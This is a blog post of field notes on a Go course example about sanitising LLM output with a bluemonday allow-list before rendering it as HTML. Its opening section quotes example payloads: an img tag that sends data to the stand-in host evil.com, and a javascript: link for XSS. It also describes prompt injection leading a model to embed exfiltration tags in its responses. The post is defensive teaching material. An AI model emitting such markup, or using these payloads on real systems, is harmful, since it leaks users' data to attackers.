Field notes from working through example 26 of Ardan Labs’ Ultimate AI course by Bill Kennedy and Florin Pățan (Apache 2.0). My fork: PratikDhanave/ai-training. Thank you Bill and Florin for teaching this material — the patterns in this post are derived from the course; the production reflections at the end are mine.
What the example teaches
LLM output is untrusted. If you render it as HTML — chat UI, email, document — an attacker who controls the prompt can inject:
<img src="https://evil.com/?data=...">(exfiltrate via referer)<a href="javascript:...">(XSS)- Hidden content that the user pastes without seeing
The example uses an allow-list sanitiser to strip everything except a small safe set.
What it looks like
import "github.com/microcosm-cc/bluemonday"
policy := bluemonday.NewPolicy()
policy.AllowElements("p", "br", "strong", "em", "code", "pre", "ul", "ol", "li")
policy.AllowAttrs("href").OnElements("a")
policy.AllowURLSchemes("https", "mailto")
// No img, no script, no style, no iframe, no inline event handlers.
safe := policy.Sanitize(llmOutput)
What I learned
Markdown rendering is not enough. Many chat UIs render Markdown → HTML and assume that’s safe. It isn’t. Markdown allows raw HTML; the renderer happily passes it through. Sanitise after the Markdown render, not before.
Exfiltration is the underrated risk. XSS gets the attention. Exfiltration through <img> tags is just as bad and less visible — the user sees a “missing image” icon while their data flies out via the referer header.
Production connection
Genie’s chat UI runs the LLM output through a similar allow-list before render. Took this directly from the same pattern. The threat is real; I’ve seen prompt-injection attacks that try to embed exfiltration tags in agent responses. The sanitiser stops them cold.
Credit & reference. This post is field notes on example 26 from Ardan Labs’ Ultimate AI by Bill Kennedy + Florin Pățan, licensed Apache 2.0. The original example: cmd/examples/example26-output-sanitization/. My fork with notes: PratikDhanave/ai-training. Highly recommend the course for anyone building AI applications in Go — the material is rigorous and the Kronk + yzma + llama.cpp pipeline gives you hardware-accelerated local inference end-to-end. Thank you, Bill and Florin.